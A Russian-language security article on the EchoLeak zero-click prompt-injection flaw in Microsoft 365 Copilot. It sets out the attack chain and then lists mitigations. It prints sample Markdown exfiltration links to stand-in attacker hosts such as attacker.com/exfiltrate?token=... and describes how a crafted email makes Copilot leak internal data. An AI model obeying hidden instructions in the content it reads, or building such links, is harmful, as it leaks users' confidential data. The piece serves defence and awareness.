Введение:
А что, если бы ваш искусственный интеллект-помощник помогал не только вам, но и незаметно помогал кому-то еще?
Недавняя уязвимость, известная как EchoLeak, показала, как можно манипулировать Microsoft 365 Copilot для кражи конфиденциальной информации, не нажимая на ссылку и не открывая электронное письмо. Microsoft 365 Copilot, инструмент искусственного интеллекта, встроенный в офисные приложения Microsoft Office, включая Word, Excel, Outlook, PowerPoint и Teams, содержал критическую уязвимость безопасности, которая, по мнению исследователей, указывает на более высокий риск взлома агентов искусственного интеллекта.
Представьте себе атаку настолько скрытную, что не требует ни кликов, ни загрузок, ни предупреждения — просто письмо в вашем почтовом ящике. Это EchoLeak, критическая уязвимость в Microsoft 365 Copilot, которая позволяет хакерам красть конфиденциальные корпоративные данные без каких-либо действий со стороны жертвы.
Обзор уязвимостей:
В случае с Microsoft 365 Copilot уязвимость позволяет хакеру инициировать атаку, просто отправив электронное письмо пользователю, без необходимости фишинга или вредоносного ПО. Вместо этого эксплойт использует ряд хитроумных приёмов, чтобы настроить ИИ-помощника против самого себя.
Microsoft 365 Copilot действует на основе инструкций пользователя в приложениях Office, выполняя такие действия, как доступ к документам и создание рекомендаций. В случае взлома хакерами он может быть использован для кражи конфиденциальной внутренней информации, такой как электронная почта, электронные таблицы и чаты. Атака обходит встроенные средства защиты Copilot, разработанные для обеспечения доступа только к собственным файлам пользователей, что потенциально приводит к раскрытию конфиденциальной информации, а также данных, связанных с соблюдением нормативных требований.
Как обнаружила компания Aim Security, это первая задокументированная атака на агента ИИ без нажатия кнопки, раскрывающая невидимые риски, таящиеся в инструментах ИИ, которые мы используем каждый день.
Достаточно одного специально созданного письма. Copilot обрабатывает его в фоновом режиме, следует скрытым подсказкам, просматривает внутренние файлы и отправляет конфиденциальные данные, при этом обходя защиту Microsoft, говорится в блоге компании.
EchoLeak использует способность Copilot обрабатывать как доверенные внутренние данные (например, электронную почту, чаты Teams и файлы OneDrive), так и ненадёжные внешние данные, такие как входящие электронные письма. Атака начинается с вредоносного письма, содержащего определённый синтаксис разметки Markdown, например: «![Alt-текст изображения][ссылка] [ссылка]: https://www.evil.com?param= ». Когда Copilot автоматически сканирует электронную почту в фоновом режиме, чтобы подготовиться к запросам пользователя, он инициирует запрос браузера, который отправляет конфиденциальные данные, такие как истории чатов, данные пользователя или внутренние документы, на сервер злоумышленника.
Ход атаки:
От запроса до полезной нагрузки: как злоумышленники взламывают ИИ-конвейер Copilot, чтобы извлекать данные без единого щелчка мыши. Давайте разберемся ниже подробнее!
- Создание и отправка вредоносного ввода: Злоумышленник начинает с создания вредоносного электронного письма или документа, содержащего скрытую полезную нагрузку для внедрения подсказок. Эта полезная нагрузка создается так, чтобы быть невидимой или незаметной для получателя, но полностью анализируется и выполняется Microsoft 365 Copilot с помощью искусственного интеллекта. Чтобы скрыть внедренную инструкцию, злоумышленник использует различные методы скрытности, такие как HTML-комментарии.
- Второй пилот обрабатывает скрытые инструкции: Когда получатель открывает вредоносное письмо или документ — или использует Microsoft 365 Copilot для выполнения таких действий, как резюмирование содержимого, ответ на сообщение, составление ответа или извлечение задач — Copilot автоматически принимает и анализирует все входные данные. Из-за недостаточной проверки входных данных и отсутствия изоляции подсказок Copilot не различает законный пользовательский ввод и контролируемые злоумышленником инструкции, скрытые в содержимом. Вместо этого он обрабатывает внедренные подсказки как часть предполагаемого набора инструкций пользователя. В результате ИИ выполняет скрытые команды На этом этапе Copilot неосознанно действует в соответствии с инструкциями злоумышленника, неверно интерпретируя их как часть своей законной задачи — тем самым обеспечивая следующий этап атаки: утечку конфиденциального внутреннего контекста.
- Copilot генерирует выходные данные, содержащие конфиденциальный контекст: После интерпретации и выполнения скрытого запроса, введенного злоумышленником, Microsoft 365 Copilot формирует ответ, включающий конфиденциальные внутренние данные, в соответствии с инструкциями. Этот вывод обычно представляется пользователю в виде, который выглядит легитимным, но предназначен для скрытого извлечения информации. Чтобы скрыть извлечение, ИИ (скрытая инструкция) предлагает ему (скрытой инструкцией) встроить эти конфиденциальные данные в гиперссылку в формате Markdown, например:
[Нажмите здесь для получения дополнительной информации](https://attacker.com/exfiltrate?token={{internal_token}})
Для пользователя ссылка выглядит как полезная информация. На самом деле это тщательно сконструированный вектор утечки данных, готовый к передаче данных в инфраструктуру злоумышленника после перехода по ссылке или её предварительного просмотра.
- Создание ссылки на сервер, контролируемый злоумышленником: Гиперссылка Markdown, сгенерированная Copilot под воздействием внедренного запроса, указывает на сервер, контролируемый злоумышленником. Ссылка предназначена для встраивания конфиденциальных контекстных данных (извлеченных на предыдущем этапе) непосредственно в URL-адрес, обычно с использованием параметров запроса или переменных пути, например: https://attacker-domain.com/leak?data={{confidential_info}} или https://exfil.attacker.net/{{internal_token}}
Эти ссылки часто выглядят стандартными или полезными, что снижает вероятность возникновения подозрений. Цель злоумышленника — обеспечить передачу внутренних данных (таких как токены сеанса, содержимое документа или метаданные аутентификации) на сервер без видимых признаков компрометации при переходе по ссылке, предварительном просмотре или даже автоматическом её получении.
- Кража данных, вызванная действием пользователя или предварительным просмотром системы: После того, как сгенерированный Copilot ответ, содержащий вредоносную ссылку, доставляется жертве (или другому внутреннему пользователю), запускается процесс эксфильтрации посредством прямого взаимодействия или пассивного рендеринга. В результате злоумышленник получает запросы, содержащие ценную внутреннюю информацию, такую как токены аутентификации, фрагменты разговоров или внутреннюю документацию, не вызывая подозрений. Это завершает цепочку атаки успешной и скрытой эксфильтрацией данных.
Меры по смягчению последствий:
Для эффективной защиты от атак с внедрением подсказок в стиле EchoLeak в Microsoft 365 Copilot и аналогичных помощниках на базе ИИ организациям необходима многоуровневая стратегия безопасности, охватывающая контроль ввода, проектирование системы ИИ и расширенные возможности обнаружения.
- Быстрая изоляция
Одной из важнейших мер безопасности является обеспечение надлежащей оперативной изоляции в системах ИИ. Это означает, что ИИ должен чётко различать контент, предоставляемый пользователем, и внутренние/системные инструкции. Без такой изоляции любой введённый ввод, даже скрытый с помощью HTML или разметки, может быть ошибочно интерпретирован ИИ как команда. Реализация надёжных механизмов изоляции может предотвратить действия ИИ с вредоносными данными, встроенными в, казалось бы, безобидный контент.
- Очистка и проверка входных данных
Все пользовательские данные, обрабатываемые системами искусственного интеллекта, должны быть тщательно очищены. Это включает удаление или нейтрализацию скрытых HTML-элементов, таких как , символы нулевой ширины, инструкции в кодировке Base64 и обфусцированная разметка. Проверка URL-адресов и отклонение ненадежных доменов или некорректных параметров запросов дополнительно усиливают эту защиту. Очищая входные данные до того, как их увидит ИИ, злоумышленники теряют возможность внедрять вредоносные подсказки.
- Отключить автоматическую отрисовку ненадежного контента
Одним из основных факторов, способствующих эксфильтрации данных в стиле EchoLeak, является автоматический рендеринг ссылок Markdown и предпросмотров изображений. Организациям следует отключить эту функцию, особенно для контента из неизвестных или внешних источников. Запрет Copilot или почтовым клиентам автоматически просматривать ссылки предотвращает эксфильтрацию данных без нажатия и даёт системам безопасности больше времени для проверки полезной нагрузки до её активации.
- Ограничение доступа к контексту
Другим ключевым фактором снижения риска является ограничение контекстных данных, к которым имеет доступ Copilot или любой помощник LLM. Конфиденциальные данные, такие как токены сеансов, конфиденциальные данные проекта, метаданные аутентификации и внутренние коммуникации, не должны быть частью входного контекста ИИ без необходимости. Это ограничивает объём информации, которая может быть раскрыта, даже если внедрение данных в режиме реального времени окажется успешным.
- Мониторинг и протоколирование выходных данных ИИ
Организациям следует вести журналирование и мониторинг всего контента, генерируемого ИИ, особенно если он содержит динамические ссылки, необычные аннотации или рекомендации для пользователей. Такие закономерности, как многократное использование разметки, наличие токенов в гиперссылках или подсказки, которые кажутся чрезмерно «полезными», могут указывать на злоупотребление. Мониторинг этого контента позволяет на ранней стадии выявлять попытки кражи и проводить ретроспективный анализ в случае нарушения.
- Обучение и осведомленность пользователей
Поскольку пользователи являются конечными получателями контента, генерируемого ИИ, важно повышать осведомлённость о рисках взаимодействия с такими ссылками или сообщениями. Сотрудники должны быть обучены распознавать, когда ссылка или сообщение кажутся «слишком умными», необычно конкретными или вырванными из контекста. Поощрение пользователей сообщать о подозрительном контенте, даже если он был создан доверенным помощником, таким как Copilot, помогает создать живой защитный барьер против злоупотреблений ИИ, использующего методы социальной инженерии.
В совокупности эти меры по снижению рисков формируют комплексную стратегию защиты от EchoLeak, объединяющую проектирование систем ИИ, безопасность пользователей и обнаружение угроз в режиме реального времени. Внедряя эти практики, организации могут сохранять устойчивость к меняющимся угрозам, связанным с ИИ.
Ссылки:
Автор:
Нандини Сет
Адрип Мукерджи
